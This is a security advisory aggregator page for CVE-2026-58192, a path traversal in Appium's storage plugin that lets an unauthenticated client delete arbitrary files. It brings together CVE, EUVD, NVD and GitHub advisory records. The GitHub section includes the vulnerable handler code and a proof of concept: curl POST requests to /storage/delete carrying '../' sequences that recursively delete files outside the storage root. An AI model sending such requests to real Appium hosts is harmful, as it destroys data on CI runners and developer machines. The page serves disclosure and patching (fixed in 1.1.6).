Appium: Unauthenticated arbitrary file/directory deletion in @appium/storage-plugin
Exploitation and risk
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cve-program · CVE-2026-58192
PublishedAppium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.
- Source published
- 8 Jul 2026 20:56:30 UTC
- Source modified
- 9 Jul 2026 14:12:23 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
euvd · EUVD-2026-42424
PublishedAppium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 8, 2026, 8:56:30 PM
dateUpdated: Jul 9, 2026, 2:12:23 PM
- Source published
- Jul 8, 2026, 8:56:30 PM (timezone not stated)
- Source modified
- Jul 9, 2026, 2:12:23 PM (timezone not stated)
- Saved here
- 20 Nov 2026 15:48:45 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
nvd · CVE-2026-58192
PublishedAppium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-22 · CWE-73
Original publisher date fields
published: 2026-07-08T21:16:52.150
lastModified: 2026-08-26T16:34:38.200
1 source CPE criteria · context only
- cpe:2.3:a:appium:appium\/storage-plugin:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 8 Jul 2026 21:16:52 UTC
- Source modified
- 26 Aug 2026 16:34:38 UTC
- Saved here
- 20 Nov 2026 15:48:14 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
CVSS 3.1 · [email protected] · Primary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
osv · GHSA-jwgx-mp9m-jwcr
Published## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`: ```ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install [email protected] ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ``` <img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" /> ### Impact An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.
- Source published
- 20 Nov 2026 14:34:30 UTC
- Source modified
- 20 Nov 2026 14:45:04 UTC
- Saved here
- 20 Nov 2026 15:46:21 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Publisher rating · HIGH